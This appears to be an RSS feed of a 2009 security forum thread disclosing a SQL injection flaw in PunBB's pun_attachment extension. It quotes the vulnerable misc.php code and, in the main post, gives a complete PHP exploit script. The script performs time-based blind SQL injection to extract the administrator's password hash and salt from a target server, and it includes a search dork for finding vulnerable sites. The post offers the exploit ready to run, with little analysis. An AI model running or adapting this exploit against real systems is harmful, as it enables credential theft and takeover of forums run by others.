<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title><![CDATA[Wolves Security Team - PunBB官方上传附件扩展注射漏洞]]></title>
		<link>http://bbs.wolvez.org/topic/98/</link>
		<description><![CDATA[The most recent posts in PunBB官方上传附件扩展注射漏洞.]]></description>
		<lastBuildDate>Mon, 26 Oct 2009 16:31:45 +0000</lastBuildDate>
		<generator>PunBB</generator>
		<item>
			<title><![CDATA[Re: PunBB官方上传附件扩展注射漏洞]]></title>
			<link>http://bbs.wolvez.org/post/248/#p248</link>
			<description><![CDATA[<p>:)</p>]]></description>
			<author><![CDATA[dummy@example.com (flyh4t)]]></author>
			<pubDate>Mon, 26 Oct 2009 16:31:45 +0000</pubDate>
			<guid>http://bbs.wolvez.org/post/248/#p248</guid>
		</item>
		<item>
			<title><![CDATA[Re: PunBB官方上传附件扩展注射漏洞]]></title>
			<link>http://bbs.wolvez.org/post/247/#p247</link>
			<description><![CDATA[<p>小四的exp越来越规范了，哈哈</p>]]></description>
			<author><![CDATA[dummy@example.com (terrysco)]]></author>
			<pubDate>Mon, 26 Oct 2009 13:12:46 +0000</pubDate>
			<guid>http://bbs.wolvez.org/post/247/#p247</guid>
		</item>
		<item>
			<title><![CDATA[PunBB官方上传附件扩展注射漏洞]]></title>
			<link>http://bbs.wolvez.org/post/246/#p246</link>
			<description><![CDATA[<p>by Ryat<br /><a href="http://www.wolvez.org">http://www.wolvez.org</a><br />2009-10-24</p><p>本来想给论坛加个上传附件的功能，从官方网站下了个pun_attachment，顺便看了下代码，结果发现了这个漏洞:p</p><div class="codebox"><pre><code>if (isset($_GET[&#039;secure_str&#039;]))
{
    if (preg_match(&#039;~(\d+)f(\d+)~&#039;, $_GET[&#039;secure_str&#039;], $match))
    {
    ...
            &#039;WHERE&#039;        =&gt; &#039;a.id = &#039;.$attach_item.&#039; AND (fp.read_forum IS NULL OR fp.read_forum = 1) AND secure_str = \&#039;&#039;.$_GET[&#039;secure_str&#039;].&#039;\&#039;&#039;</code></pre></div><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />挺明显的，应该是对正则表达式及preg_match函数的误用，导致可以通过$_GET[&#039;secure_str&#039;]来触发sql inj...</p><p>另外，在pun_list_attach.php文件还有个注射，不过需要后台权限，有兴趣的同学自己看，那个要更明显些:)</p><p>最后给个PoC性质的EXP，具体效果和利用方式就别问我了...</p><div class="codebox"><pre><code>#!/usr/bin/php
&lt;?php

print_r(&#039;
+---------------------------------------------------------------------------+
Punbb Extension Attachment &lt;= v1.0.2 Bind SQL injection exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: &quot;Powered by PunBB&quot;
+---------------------------------------------------------------------------+
&#039;);
/**
 * works regardless of php.ini settings
 */
if ($argc &lt; 3) {
    print_r(&#039;
+---------------------------------------------------------------------------+
Usage: php &#039;.$argv[0].&#039; host path
host:      target server (ip/hostname)
path:      path to punbb
Example:
php &#039;.$argv[0].&#039; localhost /punbb/
+---------------------------------------------------------------------------+
&#039;);
    exit;
}

error_reporting(7);
ini_set(&#039;max_execution_time&#039;, 0);

$host = $argv[1];
$path = $argv[2];

$pre = &#039;pun_&#039;;

$benchmark = 200000000;
$timeout = 10;

echo &quot;Plz Waiting...\nPassword:\n&quot;;
/**
 * get pass
 */
$j = 1;
$pass = &#039;&#039;;

$hash[0] = 0; //null
$hash = array_merge($hash, range(48, 57)); //numbers
$hash = array_merge($hash, range(97, 122)); //a-z letters

while (strlen($pass) &lt; 40) {
    for ($i = 0; $i &lt;= 255; $i ++) {
        if (in_array($i, $hash)) {
            $cmd = &#039;1f1%27%20AND%20(IF((ASCII(SUBSTRING((SELECT%20password%20FROM%20&#039;.$pre.&#039;users%20WHERE%20group_id=1%20LIMIT%201),&#039;.$j.&#039;,1))=&#039;.$i.&#039;),BENCHMARK(&#039;.$benchmark.&#039;,CHAR(0)),1))%23&#039;;
            send();
            usleep(2000000);
            $starttime = time();
            send();
            $endtime = time();
            $difftime = $endtime - $starttime;
            if ($difftime &gt; $timeout) {
                $pass .= chr($i);
                echo chr($i);
                break;
            }
        }
        if ($i == 255)
            exit(&quot;\nExploit Failed!\n&quot;);
    }
    $j ++;
}

echo &quot;\nSalt:\n&quot;;
/**
 * get salt
 */
$j = 1;
$salt = &#039;&#039;;

$hash[0] = 0; //null
$hash = array_merge($hash, range(33, 126));

while (strlen($salt) &lt; 12) {
    for ($i = 0; $i &lt;= 255; $i ++) {
        if (in_array($i, $hash)) {
            $cmd = &#039;1f1%27%20AND%20(IF((ASCII(SUBSTRING((SELECT%20salt%20FROM%20&#039;.$pre.&#039;users%20WHERE%20group_id=1%20LIMIT%201),&#039;.$j.&#039;,1))=&#039;.$i.&#039;),BENCHMARK(&#039;.$benchmark.&#039;,CHAR(0)),1))%23&#039;;
            send();
            usleep(2000000);
            $starttime = time();
            send();
            $endtime = time();
            $difftime = $endtime - $starttime;
            if ($difftime &gt; $timeout) {
                $salt .= chr($i);
                echo chr($i);
                break;
            }
        }
        if ($i == 255)
            exit(&quot;\nExploit Failed!\n&quot;);
    }
    $j ++;
}
        
exit(&quot;\nExpoilt Success!\nPassword Hash:\t$pass\nSalt:\t$salt\n&quot;);

function send()
{
    global $host, $path, $cmd;

    $data = &quot;GET &quot;.$path.&quot;misc.php?item=1&amp;secure_str=&quot;.$cmd.&quot;  HTTP/1.1\r\n&quot;;
    $data .= &quot;Host: $host\r\n&quot;;
    $data .= &quot;Connection: Close\r\n\r\n&quot;;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = &#039;&#039;;

    while ($fp &amp;&amp; !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?&gt;</code></pre></div>]]></description>
			<author><![CDATA[dummy@example.com (puret_t)]]></author>
			<pubDate>Mon, 26 Oct 2009 13:08:10 +0000</pubDate>
			<guid>http://bbs.wolvez.org/post/246/#p246</guid>
		</item>
	</channel>
</rss>
